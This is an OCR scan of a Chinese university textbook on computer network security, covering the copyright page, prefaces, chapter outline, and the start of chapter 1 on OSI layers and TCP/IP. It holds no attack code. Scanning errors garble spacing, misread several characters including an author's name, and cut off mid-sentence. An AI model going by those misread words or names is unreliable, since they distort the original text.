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内 容 简 介 


本 书 主要 从 网 络 的 基本 知识 .密码 技术 、 防 火 墙 技术 .Windows XP/ 2003/ 2008 操作 系统 的 安全 .黑客 
技术 与 防范 措施 、 网 络 防毒 技术 、Internet/Intranet 的 安全 性 和 实 训 等 几 方面 编写 ,全 书 共 9 章 。 

本 书 突出 计算 机 网 络 安 全 的 管理 .配置 及 维护 的 操作 , 紧 紧 跟 踪 网 络 安全 的 最 新 成 果 和 发 展 方向 。 书 
中 提供 了 大 量 网 络 安全 与 对 抗 的 实例 ,并 从 实例 引出 概念 ,然后 进行 归纳 总 结 ,帮助 读者 掌握 计算 机 网 络 
的 基本 原理 ,了 解 计算 机 现 有 系统 的 安全 设置 ,安全 漏洞 ,从 而 胜任 一 般 系统 的 安全 设计 及 管理 维护 工作 。 

本 书 是 作者 长 期 从 事 计算 机 网 络 教 学 和 网 络 设计 的 经 验 总 结 ,是 一 本 面向 本 科 、 高 职 、 高 专 和 成 人 高 
等 教育 的 教材 ,适合 于 广大 在 校 学 生 学 习 , 也 可 供 有 关 工 程 技术 人 员 阅 读 。 


本 书 封面 贴 有 清华 大 学 出 版 社 防伪 标签 ， 无 标签 者 不 得 销售 。 
版 权 所 有 ， 侵 权 必 究 。 侵 权 举 报 电话 : 010-62782989 13701121933 


图 书 在 版 编目 (CIP ) 数据 


计算 机 网 络 安 全 与 应 用 技术 /丧家 政 , 印 平 主编 ; 商 新 娜 , 雇 礼 萍 , 编 著 . 一 2 版.-- 北 京 : 清华 
大 学 出 版 社 ，2011. 6 

(普通 高 校本 科 计 算 机 专业 特色 教材 精 选 ， 网络 与 通信 ) 

ISBN 978-7-302-26125-4 

I. Q@ 计 … 本. @ 表 … @ 印 … 四 商 … @ 诀 … ” 焉 . @ 计 算 机 网 络 一 安全 技术 一 高 等 学 
校 一 教材 N. TP393.08 


中 国 版 本 图 书馆 CIP 数据 核 字 (2011) 第 122627 号 
责任 编辑 : 谢 琛 薛 阳 


责任 校对 : 白 和 曹 

责任 印 制 : 何 ” 芋 

出 版 发 行 : 清华 大 学 出 版 社 地 址 : 北京 清华 大 学 学 研 大 厦 A 座 
http:/www. tup. com. cn 邮 编 : 100084 
社 总 机 : 010-62770175 邮 购 : 010-62786544 


投稿 与 读者 服务 : 010-62795954 ,jsjjc@tup. tsinghua. edu. cn 

质 量 反 馈 : 010-62772015 ,zhiliang@tup. tsinghua. edu. cn 
印 刷 者 : 北京 市 清华 园 胶印 厂 
装 订 者 : 三 河 市 新 茂 装订 有 限 公司 


经 销 : 全 国 新 华 书店 

开 本 : 185X260 印 张 : 21.5 字 数 : 522 千 字 

版 次 : 2011 年 6 月 第 2 版 印 次 : 2011 年 6 月 第 1 次 印刷 
印 数 : 1 一 4000 

定 价 : 33. 00 元 


产品 编号 : 026301-01 


出 版 说 明 


我 国 高 等 学 校 计算 机 教育 近年 来 迅猛 发 展 ,应 用 所 学 计算 机 知识 解决 实际 问题 ,已 经 成 
为 当代 大 学 生 的 必 备 能 力 。 

随 着 时 代 的 进步 与 社会 的 发 展 ,对 高 等 学 校 计算 机 教育 的 质量 提出 了 更 高 .更 新 的 要 
求 。 现 在 ,很 多 高 等 学 校 都 在 积极 探索 符合 自身 特点 的 教学 模式 ,涌现 出 一 大 批 非常 优秀 的 
精品 课程 。 

为 了 适应 社会 的 需求 ,满足 计算 机 教育 的 发 展 需要 ,清华 大 学 出 版 社 在 进行 大 量 调查 研 
究 的 基础 上 ,组 织 编写 了 《高 等 学 校 计 算 机 专业 教材 精 选 》。 本 套 教 材 从 全 国 各 高 校 的 优秀 
计算 机 教材 中 精 挑 细 选 了 一 批 很 有 代表 性 且 特 色 鲜 明 的 计算 机 精品 教材 ,把 作者 们 对 各 自 
所 授 计算 机 课程 的 独特 理解 和 先进 经 验 推 荐 给 全 国 师 生 。 

本 系列 教材 特点 如 下 。 

(1) 编写 目的 明确 。 本 套 教 材 主要 面向 广大 高 校 的 计算 机 专业 学 生 , 使 学 生 通过 本 套 
教材 ,学 习 计 算 机 科学 与 技术 方面 的 基本 理论 和 基本 知识 ,接受 应 用 计算 机 解决 实际 问题 的 
基本 训练 。 

(2) 注重 编写 理念 。 本 套 教材 作者 群 为 各 校 相应 课程 的 主讲 ,有 一 定 经 验 积 累 , 且 编写 
思路 清晰 ,有 独特 的 教学 思路 和 指导 思想 ,其 教学 经 验 具 有 推广 价值 。 本 套 教材 中 不 乏 各 类 
精品 课 配 套 教材 ,并 力图 努力 把 不 同学 校 的 教学 特点 反映 到 每 本 教材 中 。 

(3) 理论 知识 与 实践 相 结 合 。 本 套 教材 贯彻 从 实践 中 来 到 实践 中 去 的 原则 , 书 中 的 许 
多 必须 掌握 的 理论 都 将 结合 实例 来 讲 , 同 时 注重 培养 学 生 分 析 、 解 决 问题 的 能 力 , 满 足 社会 
用 人 要 求 。 

(4) 易 教 易 用 ,合理 适当 。 本 套 教材 编写 时 注重 结合 教学 实际 的 课时 数 ,把 握 教 材 的 篇 
幅 。 同 时 ,对 一 些 知识 点 按 教 育 部 教学 指导 委员 会 的 最 新 精神 进行 合理 取舍 与 难 易 控 制 。 

(5) 注重 教材 的 立体 化 配套 。 大 多 数 教材 都 将 配套 教师 用 课件 .习题 及 其 解答 ,学 生 上 
机 实验 指导 、 教 学 网 站 等 辅助 教学 资源 ,方便 教学 。 

随 着 本 套 教材 的 陆续 出 版 ,相信 能 够 得 到 广大 读者 的 认可 和 支持 ,为 我 国 计 算 机 教材 建 
设 及 计算 机 教学 水 平 的 提高 ,为 计算 机 教育 事业 的 发 展 作 出 应 有 的 贡献 。 


清华 大 学 出 版 社 


前 言 


本 书 是 普通 高 等 教育 “十 一 五 ”国家 级 规划 教材 ,是 2002 年 出 版 的 (计算 机 网 络 安全 与 
应 用 技术 ) 教 材 的 修订 版 。 

本 书 第 1 版 是 2002 年 由 教育 部 和 清华 大 学 出 版 社 联合 策划 出 版 ,第 1 版 出 版 以 来 得 到 
了 广大 读者 的 认可 ,被 许多 高 校 选 为 教材 ,受到 了 多 所 院 校 广大 师 生 的 好 评 , 并 且 于 2005 年 
被 评 为 北京 市 精品 教材 。 

随 着 计算 机 网 络 技术 的 发 展 ,网 络 的 安全 问题 越 来 越 受到 关注 。 网 络 技术 已 被 广泛 应 
用 于 社会 生活 甚至 国防 等 各 个 方面 ,网 络 安全 已 超越 其 本 身 而 达到 国家 安全 的 高 度 ,因此 非 
常 有 必要 在 高 校 开设 计算 机 网 络 安全 的 课程 。 

作为 应 用 型 教材 ,本 书 在 介绍 网 络 安全 理论 及 其 基础 知识 的 同时 ,突出 计算 机 网 络 安全 
方面 的 管理 .配置 及 维护 的 实际 操作 手法 和 手段 ,并 尽量 跟踪 网 络 安全 技术 的 最 新 成 果 与 发 
展 方向 。 全 书 主要 内 容 包 括 网 络 安全 的 基本 概念 、 密 码 技术 、 防 火 墙 技术 、Windows Server 
2003/2008 系统 的 安全 与 保护 措施 .黑客 技术 与 防范 措施 .网 络 病毒 技术 ,Internet/Intranet 
的 安全 性 和 实 训 问 题 等 ,总 共 分 为 9 章 。 各 方面 知识 内 容 所 占 比 例 为 : 网 络 安全 理论 和 知 
识 30% ;网 络 系统 (主要 指 Windows Server 2003、Windows Server 2008 Internet/Intranet) 
的 安全 技术 特点 20% ;网络 安全 配置 操作 维护 和 安全 方面 的 知识 50%。 本 书 的 教学 内 容 
大 约 需 要 64 课时 ,最 好 另外 安排 32 课时 的 实 训 。 书 中 以 * 标记 的 少量 选读 内 容 由 各 校 教 
师 酌 情 确 定 是 否 讲授 。 

计算 机 网 络 安全 主要 包括 网 络 系统 的 安全 和 网 络 信 息 的 安全 ,一 般 通 过 密码 技术 和 访 
问 技术 实现 。 鉴 于 此 ,本 书 的 主要 内 容 安排 如 下 。 

第 一 部 分 (第 1~3 章 ) 主 要 介绍 了 计算 机 网 络 安全 基础 知识 和 网 络 安全 的 理论 基础 知 
识 。 第 1 章 具 体 介 绍 计算 机 网 络 安全 的 相关 基础 知识 ,网 络 安全 存在 的 问题 ,黑客 .密码 技 
术 ,数字 签名 ,访问 控制 技术 、 入 侵 检测 和 蜜 钠 技 术 等 基本 概念 ,网 络 安全 的 体系 结构 ,网 络 
安全 的 策略 防范 问题 和 网 络 安全 的 发 展 方向 ;第 2 章 介 绍 了 网 络 中 的 密码 技术 ,包括 传统 的 
加 密 方法 .DES 加 密 标 准 、AES 算法 .公开 密 钥 体 制 和 其 他 加 密 高 新 技术 及 其 发 展 ; 第 3 章 
介绍 了 访问 控制 技术 中 防火 墙 的 技术 ,包括 防火 墙 的 原理 、 种 类 .选择 原则 和 实现 策略 等 。 

第 二 部 分 (第 4.5 章 ) 主 要 介绍 计算 机 系统 及 网 络 操作 系统 的 安全 性 问题 。 第 4 章 介 绍 
了 网 络 系 统 的 安全 等 级 ,无 线 局 域 网 和 虚拟 专用 网 (VPN) 的 安全 性 问题 ,Windows XP 和 
Windows 7 的 安全 机 制 、 安 全 漏洞 和 防范 措施 ;第 5 章 详细 介绍 了 流行 的 计算 机 网 络 系统 
Windows 2003/ 2008 操作 系统 的 网 络 机 制 、 网 络 安全 模型 .密码 技术 和 访问 控制 技术 、 安 全 
漏洞 和 防范 措施 等 方面 的 知识 。 

第 三 部 分 (第 6 章 ) 介 绍 黑客 技术 与 防范 措施 。 主 要 讲述 常见 的 黑客 技术 ,如 网 络 监听 、 
端口 扫描 ,口令 破解 和 木马 等 ,同时 以 Windows XP 操作 系统 为 实例 介绍 了 黑客 攻击 网 络 系 
统 的 主要 步骤 和 防范 措施 。 

第 四 部 分 (第 7 章 ) 讲 述 网 络 病毒 原理 与 防范 。 主 要 介绍 了 病毒 的 原理 ,病毒 的 类 型 和 

. 亚 . 


计算 机 网 络 病毒 ,同时 介绍 了 几 种 影响 较 大 的 网 络 病毒 ,如 CIH 病毒 、 宏 病毒 .熊猫 烧香 病 
毒 “ 尼 姆 达 ? 病 毒 等 ,并 且 讲 述 了 病毒 的 清除 及 防护 措施 。 

第 五 部 分 (第 8 章 ) 介 绍 Internet/Intranet 的 安全 性 问题 。 主 要 介绍 Internet/JIntranet 
的 脆弱 性 和 提供 的 信息 服务 的 安全 缺陷 ,并 介绍 了 I 下 浏览 器 中 Cookies 技术 ,Java 技术 和 
ActiveX 技术 带 来 的 安全 问题 ,以 及 电子 邮件 的 安全 IIS Web 服务 器 的 安全 问题 .电子 商务 
的 安全 问题 及 配置 方法 。 

第 六 部 分 (第 9 章 ) 主 要 讲述 与 本 书 全 部 内 容 相对 应 的 网 络 安全 的 实 训 问题 。 分 别 是 针 
对 密码 技术 、 防 火 墙 技术 、Windows XP/2003/2008 操作 系统 、IE 浏览 器 .Outlook Express 
和 IIS 等 知识 及 安全 性 所 安排 的 13 个 实 训 。 

通过 对 该 书 的 学 习 , 读 者 可 以 掌握 计算 机 网 络 安 全 的 基本 原理 和 当前 流行 的 网 络 系统 
Windows XP/2003/2008 系统 的 安全 设置 .安全 漏洞 .管理 及 维护 ,同时 对 Internet/Intranet 
等 系统 的 安全 有 一 定 的 了 解 ,并 且 能 够 胜任 一 般 网 络 安全 防火墙 的 策略 与 实现 .黑客 原理 
与 防范 及 简单 网 络 安全 应 用 策略 程序 的 开发 。 

全 书 主要 由 北京 联合 大 学 计算 机 技术 研究 所 圳 家 政 、 印 平 策划 和 主编 , 袁 家 政 、 商 新 娜 、 
廖 礼 萍 . 印 平 编写 了 部 分 内 容 ,此 外 ,山西 省 大 同 大 学 的 刘 春 贵 副 教授 也 参与 了 编写 。 在 编 
写 过 程 中 参考 并 摘录 了 大 量 国内 外 计算 机 网 络 安全 书籍 中 的 部 分 内 容 ,并 从 Internet 网 络 
中 下 载 了 大 量 计算 机 网 络 安全 .黑客 技术 与 防范 措施 的 资料 。 由 于 计算 机 网 络 安全 技术 发 
展 迅速 ,作者 的 学 识 有 限 ,加 上 时 间 仓 促 , 书 中 难免 有 所 玻 漏 , 敬 请 广大 读者 批评 指正 。 来 信 
地 址 : jzyuan@sohu. com。 

本 书 在 编写 过 程 中 得 到 了 清华 大 学 出 版 社 的 大 力 支 持 ,在 此 深 表 感谢 。 
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2011 年 3 月 
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第 1 章 计算 机 网 络 安全 的 基础 知识 


随 着 计算 机 技术 的 飞速 发 展 ,信息 网 络 已 经 成 为 社会 发 展 的 重要 保证 。 信 息 网 络 涉及 
国家 的 政府 .军事 ,文教 等 诸多 领域 ,在 计算 机 网 络 中 存储 、 传 输 和 处 理 的 信息 有 许多 是 重要 
的 政府 宏观 调控 决策 、 商 业经 济 信息 ,银行 资金 转账 股票 证 券 、 能 源 资源 数据 、 科 研 数据 等 
重要 信息 ,其 中 有 很 多 是 敏感 信息 甚至 是 国家 机 密 , 所 以 难免 会 吸引 来 自 世 界 各 地 的 各 种 人 
为 攻击 (例如 信息 泄漏 、 信 息 窃取 、 数 据 修改 .数据 删除 与 添加 .计算 机 病毒 等 )。 因 此 计算 机 
网 络 安全 是 一 个 关系 国家 的 安全 、 社 会 的 稳定 、 民 族 文 化 的 继承 和 发 扬 的 重要 问题 ,其 重要 
性 正 随 着 全 球 信息 化 步伐 的 加 快 而 变 得 越 来 越 重要 。 

计算 机 网 络 安全 主要 涉及 网 络 信息 的 安全 和 网 络 系统 本 身 的 安全 。 在 计算 机 网 络 中 存 
在 各 种 资源 设施 ,随时 存储 和 传输 大 量 的 数据 ,这 些 设施 可 能 遭 到 攻击 和 破坏 ,数据 在 存储 
和 传输 过 程 中 可 能 被 盗用、 暴露 或 算 改 。 另 外 ,计算 机 网 络 本 身 可 能 存在 某 些 不 完善 之 处 ， 
网 络 软件 也 有 可 能 遭受 恶意 程序 的 攻击 而 使 整个 网 络 陷 于 瘫 疯 。 同 时 网 络 实体 还 要 经 受 诸 
如 水 灾 、 火 灾 、 地 震 、. 电 磁 辐 射 等 方面 的 考验 。 

本 章 介绍 计算 机 网 络 安全 的 基本 知识 ,主要 包括 : 
计算 机 网 络 基础 知识 ; 
计算 机 网 络 存 在 的 安全 问题 ; 

网 络 安全 体系 结构 ; 

网 络 安全 技术 ; 

网 络 安全 的 策略 及 实现 ; 
计算 机 网 络 安全 立法 ; 

计算 机 网 络 安全 的 发 展 方向 。 


1.1 计算 机 网 络 基 础 知识 


为 了 更 好 地 学 习 网 络 安全 知识 ,掌握 网 络 的 攻防 策略 ,学习 一 些 相 关 的 计算 机 网 络 基础 
知识 是 必要 的 。 


1.1.1 计算 机 网 络 体系 结构 


1. 计算 机 网 络 

计算 机 网 络 , 用 一 句 简单 的 话 概括 即 :“ 通 过 通信 线路 连接 起 来 的 自治 的 计算 机 集合 ”。 
这 句 话 包括 以 下 3 个 方面 的 含义 。 

(1) 必须 有 两 台 或 两 台 以 上 的 具有 独立 功能 的 计算 机 系统 相互 连接 起 来 ,以 达到 共享 
资源 为 目的 ,才能 构成 网 络 。 这 里 所 指 的 两 台 计 算 机 系统 的 位 置 要 有 一 定 距 离 , 且 每 台 计算 
机 系统 能 独立 工作 ,能够 自我 处 理 数 据 ,而 无 须 其 他 系统 帮助 。 例 如 : 具有 通信 功能 的 单机 
系统 ,因为 只 有 一 台 主 机 ,就 不 属于 网 络 。 并 行 机 虽然 有 多 个 处 理 器 ,但 它 不 属于 两 个 计 

。] 。 


机 系统 互 连 在 一 起 ,也 不 属于 网 络 。 

(2) 两 台 或 两 台 以 上 的 计算 机 连接 ,互相 通信 交换 信息 ,必须 有 一 条 通道 。 这 条 通道 的 
连接 是 物理 的 ,由 物理 介质 来 和 通信 设备 实现 。 它 们 可 以 是 铜 线 、. 光 纤 等 有线 ?介质 ,可 以 
是 微波 、 红 外 线 或 卫星 等 无线? 介质 。 

(3) 计算 机 系统 之 间 交 换 信 息 ,必须 有 某 种 约定 和 规则 ,这 就 是 协议 。 这 些 协 议 可 以 由 
硬件 或 软件 来 完成 。 

从 以 上 3 个 方面 ,可 以 把 计算 机 网 络 归纳 为 : 把 分 布 在 不 同 地 点 且 具 有 独立 功能 的 多 
个 计算 机 系统 通过 通信 设备 和 线路 连接 起 来 ,在 功能 完善 的 网 络 软件 和 协议 的 管理 下 ,以 实 
现 网 络 中 资源 共享 为 目标 的 系统 。 

2. 计算 机 网 络 协议 

计算 机 网 络 中 不 同系 统 的 两 实体 间 只 有 在 通信 的 基础 上 , 才 有 可 能 相互 交换 信息 ,共享 
网 络 资源 。 一 般 来 说 ,实体 是 能 发 送 和 接收 信息 的 任何 东西 ,可 以 指 用 户 应 用 程序 .文件 传 
送 包 数据 库 管理 系统 、. 电 子 邮 件 设备 和 终端 等 。 系 统 可 包含 一 个 或 多 个 实体 (如 主机 和 终 
端 等 ) 。 两 实体 之 间 若 要 能 通信 ,就 必须 能 够 相互 理解 ,共同 遵守 有 关 实 体 的 某 种 互相 能 接 
受 的 规则 。 这 些 规则 的 集合 称 为 协议 。 因 此 协议 可 被 定义 为 实体 之 间 控 制 数 据 交 换 的 规则 
的 集合 。 简 单 说 ,协议 就 是 通信 双方 的 约定 。 更 进一步 讲 , 一 个 网 络 协议 主要 由 以 下 3 个 要 
素 组 成 。 

(1) 语法 , 即 数据 与 控制 信息 的 结构 或 格式 。 

(2) 语义 , 即 需要 发 出 何 种 控制 信息 ,完成 何 种 动作 以 及 做 出 何 种 应 答 。 

(3) 同步 , 即 实体 通信 实现 顺序 的 详细 说 明 。 

由 此 可 见 ,网络 协议 是 计算 机 网 络 不 可 缺少 的 组 成 部 分 。 

3. 通信 子 网 及 子 网 信道 类 型 

计算 机 网 络 主要 由 计算 机 系统 (包括 计算 机 和 终端 )、 网 络 节 点 (通信 人 处 理 机 ) 和 通信 和 链 
路 (通信 线路 和 网 络 设备 ) 等 网 络 单元 组 成 。 从 功能 上 可 以 将 计算 机 网 络 分 为 资源 子 网 和 通 
信子 网 ,网 络 上 的 每 一 个 连接 称 为 节点 ,节点 有 两 类 : 一 类 是 转 接 节点 ,主要 承担 通信 子 网 
的 信息 传输 和 转 接 的 作用 ; 另 一 类 是 访问 节点 ,是 资源 子 网 中 的 计算 机 或 终端 ,主要 是 信息 
资源 的 来 源 和 发 送信 息 的 目的 地 。 

不 同类 型 的 网 络 , 其 通信 子 网 的 物理 组 成 各 不 相同 。 局 域 网 最 简单 , 它 的 通信 子 网 由 物 
理 传 媒介 质 和 主机 网 络 接 板 (网 卡 ) 组 成 。 而 广域网 , 除 物 理 传媒 介质 和 主机 网 络 接 板 ( 网 
卡 ) 外 ,必须 靠 通信 子 网 的 转 接 节点 传递 信息 。 

对 于 通信 子 网 的 设计 ,如 果 从 通信 信道 类 型 分 类 有 两 种 类 型 : 点 对 点 通信 方式 和 广播 
式 通 信子 网 。 

(1) 点 对 点 通信 ,如 图 1-1 所 示 。 在 该 种 类 型 网 中 ,任何 一 段 物理 链 路 ,都 唯一 连接 一 
对 节点 。 如 果 不 在 同一 段 物理 链 路 的 一 对 节点 要 通信 ,必须 通过 其 他 节点 转 接 。 采 用 点 对 
点 通信 的 基本 拓扑 结构 有 : 星 形 、 树 形 、 环 形 及 不 规则 形 和 全 部 互 连 等 。 

(2) 广播 式 通信 ,如 图 1-2 所 示 。 在 该 种 通信 子 网 中 只 有 一 个 公共 通信 信道 ,为 所 有 节 
点 共享 使 用 , 任 一 时 刻 只 允许 一 个 节点 使 用 公用 信道 。 当 一 个 节点 利用 公共 通信 信道 发 送 
数据 时 ,必须 携带 目的 地 址 ,其 他 节点 都 能 收 到 数据 ,只 有 地 址 符合 的 那个 节点 , 才 接 收 
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4. 计算 机 网 络 体系 结构 

为 简化 问题 减少 协议 设计 的 复杂 性 ,大 多 数 网 络 都 采用 一 种 层次 结构 , 按 层 或 级 的 方 
式 来 组 织 。 因 此 协议 也 是 分 层次 的 。 每 一 层 都 建立 在 下 层 之 上 ,每 一 层 的 目的 都 是 为 上 层 
提供 一 定 的 服务 ,并 对 上 层 屏蔽 其 服务 的 实现 细节 。 各 层 协议 互相 协作 ,构成 一 个 整体 , 常 
称 之 为 协议 簇 (protocol family) 或 协议 套 (protocol suite ) 。 

网 络 分 层 体系 结构 模型 的 概念 ,为 计算 机 网 络 协议 的 设计 和 实现 提供 了 很 大 方便 。 体 
系 结构 中 最 著名 的 是 国际 标准 化 组 织 (ISO) 于 1981 年 颁布 的 开放 系统 互 连 参 考 模型 (open 
system interconnection reference model) ,简称 OSI 模型 。OSI 定义 了 异种 互联 网 标准 的 框 
架 结构 ,受到 计算 机 和 通信 行业 的 极 大 关注 。OSI 不 断 发 展 ,得 到 了 国际 上 的 承认 ,成 为 其 
他 各 计算 机 网 络 系统 结构 靠拢 的 标准 ,大 大 地 推动 了 计算 机 网 络 和 计算 机 通信 的 发 展 。 

在 这 里 “系统 是 指 一 台 或 多 台 计 算 机 、 外 部 设备 .终端 .信息 传输 设备 .操作 员 及 相应 软 
件 的 集合 。“ 开 放 ” 是 指 按照 OSI 参考 模式 建立 的 任意 两 系统 之 间 的 连接 或 操作 。 当 一 个 
系统 能 按照 OSI 标准 与 男 一 个 系统 进行 通信 时 ,就 称 该 系统 为 开放 系统 。 可 见 , 开 放 系 统 
要 求 建立 一 整套 能 保证 全 部 级 别 都 能 进行 通信 的 标准 。 

OSI 开放 系统 互 连 参 考 模型 ,如 图 1-3 所 示 。 它 采用 结构 描述 方法 , 即 分 层 描述 的 方 
法 ,将 整个 网 络 的 通信 功能 划分 成 7 个 部 分 (也 叫 7 个 层次 ) ,每 层 各 自 完成 一 定 的 功能 。 由 
低层 至 高 层 分 别称 为 物理 层 、 数 据 链 路 层 、 网 络 层 、 传 输 层 、 会 话 层 、 表 示 层 和 应 用 层 。 这 种 
划分 使 每 一 层 都 能 执行 本 层 所 承担 的 具体 任务 , 且 功 能 相对 独立 ,通过 接口 与 其 相 邻 层 连 
接 。 这 里 接口 指 相 邻 层 之 间 的 连接 ,依靠 各 层 之 间 的 接口 或 功能 的 组 合 ,实现 两 系统 间 、 各 
节点 间 信 息 的 传输 。 

(1) 物理 层 (physical layer) 

物理 层 涉及 通信 在 信道 上 传输 的 原始 比特 流 , 主 要 处 理 与 物理 传输 介质 有 关 的 机 械 的 、 
电气 的 、 功 能 的 和 规程 的 接口 。 物 理 层 与 具体 设备 有 关 , 如 光纤 及 收发 器 、 网 卡 和 集线器 等 。 

(2) 数据 链 路 层 (data link layer) 

数据 链 路 层 的 主要 任务 是 加 强 物 理 层 传 输 原始 比特 的 功能 ,使 之 对 网 络 层 显现 为 一 
条 无 差错 的 链 路 。 它 通过 将 传输 的 数据 增加 同步 信息 、 校 验 信息 及 地 址 信息 封装 成 数据 
帧 。 同 时 提供 数据 帧 传输 顺序 的 控制 .差错 检测 与 控制 和 数据 流量 控制 以 保证 数据 的 正 
确 性 。 
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(3) 网 络 层 (network layer) 

确定 数据 分 组 从 源 端 到 目的 端 如 何 选择 路 由 。 即 通过 路 径 选 择 将 信息 从 最 合适 的 路 径 
由 发 送 端 传送 到 接收 端 ,防止 通信 子 网 信息 流量 过 大 而 造成 网 络 阻塞 及 数据 丢失 问题 。 

(4) 传输 层 (transport layer) 

传输 层 的 基本 功能 是 从 会 话 层 接收 数据 ,并 且 在 必要 时 把 它 分 成 较 小 的 单元 ,传递 给 网 
络 层 ,并 确保 到 达 对 方 的 各 段 信息 正确 无 误 , 从 某 种 意义 上 讲 , 传 输 层 使 会 话 层 不 受 硬 件 技 
术 变 化 的 影响 。 

传输 层 要 决定 向 会 话 层 提供 什么 样 的 服务 。 传 输 连 接 是 一 条 无 错 的 、 按 发 送 顺序 传输 
报 文 或 字 节 的 点 到 点 的 信道 。 

传输 层 是 真正 的 从 源 到 目标 “* 端 -端的 层 。 也 就 是 说 , 源 端 机 上 的 某 程序 ,利用 报 文 头 
和 控制 报 文 与 目标 机 上 的 类 似 程序 进行 对 话 。 在 传输 层 以 下 的 各 层 中 ,协议 是 每 台 机 器 和 
它 直接 相 邻 的 机 器 间 的 协议 ,而 不 是 最 终 的 源 端 机 与 目标 机 之 间 的 协议 ,在 它们 中 间 可 能 还 
有 多 个 路 由 器 。 

传输 层 主要 完成 的 功能 如 下 : 

G@ 分 割 和 重组 报 文 。 

@ 提供 可 靠 的 “ 端 - 端 " 服 务 。 

@ 传输 层 的 流量 控制 。 

@ 提供 面向 连接 的 和 面向 无 连接 数据 传输 服务 。 

(5) 会 话 层 (session layer) 。 

会 话 层 允 许 不 同 机 器 上 的 用 户 建立 会 话 (session) 关 系 。 
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会 话 层 服务 之 一 是 管理 对 话 。 会 话 层 允 许 信息 同时 双向 传输 ,或 任 一 时 刻 只 能 单 向 传 
输 。 若 属于 后 者 , 则 类 似 半 双 工 通信 ,会 话 层 将 记录 此 时 该 轮 到 哪 一 方 了 。 

与 会 话 有 关 的 服务 是 令 牌 管理 (token management) 和 同步 (synchronization ) 。 

(6) 表示 层 (presentation layer) 

表示 层 主 要 完成 以 下 特定 的 功能 。 

@ 对 数据 编码 格式 进行 转换 。 

@ 数据 压缩 与 恢复 。 

@ 建立 数据 交换 格式 。 

@ 数据 的 安全 与 保密 。 

@ 其 他 特殊 服务 。 

(7) 应 用 层 (application layer) 

应 用 层 包 含 大 量 人 们 普遍 需要 的 协议 和 提供 许多 应 用 软件 包 。 如 FTP ,E-mail 等 程序 
及 应 用 软件 包 。 

应 用 层 完成 的 主要 功能 如 下 。 

@ 作为 用 户 应 用 程序 与 网 络 间 的 接口 。 

@ 使 用 户 的 应 用 程序 能 够 与 网 络 进行 交互 式 联系 。 

在 OSI 七 层 模型 中 ,每 一 层 都 提供 一 些 明确 的 网 络 功能 。 

一 般 数据 通信 子 网 中 的 交换 节点 只 包含 OSI 模型 的 下 3 层 ,表示 节点 的 这 3 个 层次 又 
称 为 中 继 开放 系统 。 

若 从 功能 角度 看 ,下 面 4 层 主要 提供 通信 传输 功能 ,以 节点 到 节点 之 间 的 通信 为 主 ;高 
层 协议 (会 话 层 、 表 示 层 和 应 用 层 ) 则 以 提供 用 户 与 应 用 程序 之 间 的 处 理 功能 为 主 。 简 而 言 
之 , 低 4 层 协议 属于 通信 功能 ,高 3 层 协议 属于 处 理 功 能 。 

若 从 产品 看 ,低层 协议 一 般 由 硬件 完成 ,高 层 协议 由 软件 完成 。 例 如 ,网 卡 和 网 桥 完成 
物理 层 和 数据 链 路 层 的 功能 ,路 由 器 完成 网 络 层 的 功能 ,而 电子 邮件 软件 完成 应 用 层 的 
功能 。 

在 实际 网 络 系统 中 ,OSI 中 的 会 话 层 和 表示 层 很 少 使 用 。 


1.1.2 Internet 技术 


1，Internet 物理 结构 

Internet 连接 了 不 同 国 家 与 地 区 无 数 不 同 类 型 的 电脑 ,可 以 是 某 个 校园 网 的 大 型 主机 ， 
也 可 以 是 某 个 办 公 室 的 个 人 电脑 。 硬 件 千差万别 ,使 用 的 操作 系统 与 软件 也 各 不 相同 ,要 保 
证 这 些 电脑 之 间 能 够 畅通 无 阻 地 交换 信息 ,必须 有 相通 的 语言 , 即 统一 的 通信 协议 。 

Internet 是 一 个 计算 机 网 络 的 网 络 或 叫做 网 间 网 (把 全 世界 各 种 各 样 的 网 络 都 连接 到 
一 起 所 形成 的 网 络 ) ,那么 Internet 是 怎么 把 这 些 网 络 连接 到 一 起 的 呢 ? Internet 是 用 一 种 
称 为 路 由 器 的 专用 计算 机 将 网 络 互 连 在 一 起 的 ,如 图 1-4 所 示 。 当 然 ,单纯 将 计算 机 硬件 互 
连 在 一 起 并 不 能 形成 Internet, 互 连 的 计算 机 还 需要 在 软件 的 指挥 下 才能 正常 工作 。 

2. TCP/IP 协议 

Internet 中 使 用 的 一 个 关键 的 协议 是 网 与 网 之 间 的 协议 ,也 叫做 网 际 协议 IP。IP 精确 
地 定义 了 分 组 必须 怎样 组 成 ,以 及 路 由 器 必须 怎样 将 每 一 个 分 组 递交 到 其 目的 地 。 连 接 到 
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图 1-4 Internet 中 路 由 器 将 全 球 的 网 络 连接 在 一 起 


Internet 上 的 每 台 计 算 机 都 必须 遵守 网 际 协议 IP 的 约定 。 每 台 发 送信 息 的 计算 机 必须 按 
IP 定义 的 格式 产生 分 组 。 接 收 信息 的 计算 机 也 需 按 IP 的 约定 从 中 提取 信息 。 由 此 可 见 ， 
实现 该 操作 的 软件 (IP 软件 ) 是 最 基本 的 软件 ,所 有 Internet 服务 都 使 用 IP 来 发 送 或 接收 
分 组 ,所 以 通常 每 台 计 算 机 在 通信 时 都 必须 使 IP 软件 驻 留 在 内 存 中 ,以 便 时 刻 准 备 发 送 或 
接收 分 组 。IP 分 组 也 称 为 IP 数据 报 。IP 分 组 的 发 送 就 像 电 报 局 处 理 电报 的 方式 一 样 ,一 
且 发 送 方 准备 好 一 个 数据 报 并 且 将 其 发 送 到 Internet 上 后 ,发 送 者 就 可 以 处 理 其 他 事务 。 

TCP 协议 的 主要 作用 是 使 Internet 工作 得 比较 可 靠 。 连 接 到 Internet 上 的 所 有 计算 
机 都 运行 IP 软件 ,并 且 其 中 的 绝 大 多 数 还 运行 TCP 软件 。 事 实 上 ,由 于 TCP 和 1IP 在 
Internet 网 络 中 的 重要 地 位 以 及 两 者 在 一 起 工作 得 很 好 ,因此 ,人 们 把 Internet 中 所 使 用 的 
整个 通信 协议 组 称 为 TCP/IP 协议 组 。 

TCP/IP 协议 也 采用 了 层次 体系 结构 ,所 涉及 的 层次 包括 网 络 接口 层 \ 传 输 层 、 网 间 网 
层 和 应 用 层 。 每 一 层 都 实现 特定 的 网 络 功 能 ,其 中 TCP 负责 提供 传输 层 的 服务 ,IP 协议 实 
现 网 间 网 层 的 功能 。 这 种 层次 结构 系统 遵循 着 对 层 
等 实体 通信 原则 , 即 Internet 上 两 台 主 机 之 间 传 送 7 
数据 时 ,都 以 使 用 相同 功能 通信 为 前 提 , 这 也 是 6 | 表示 Cr 
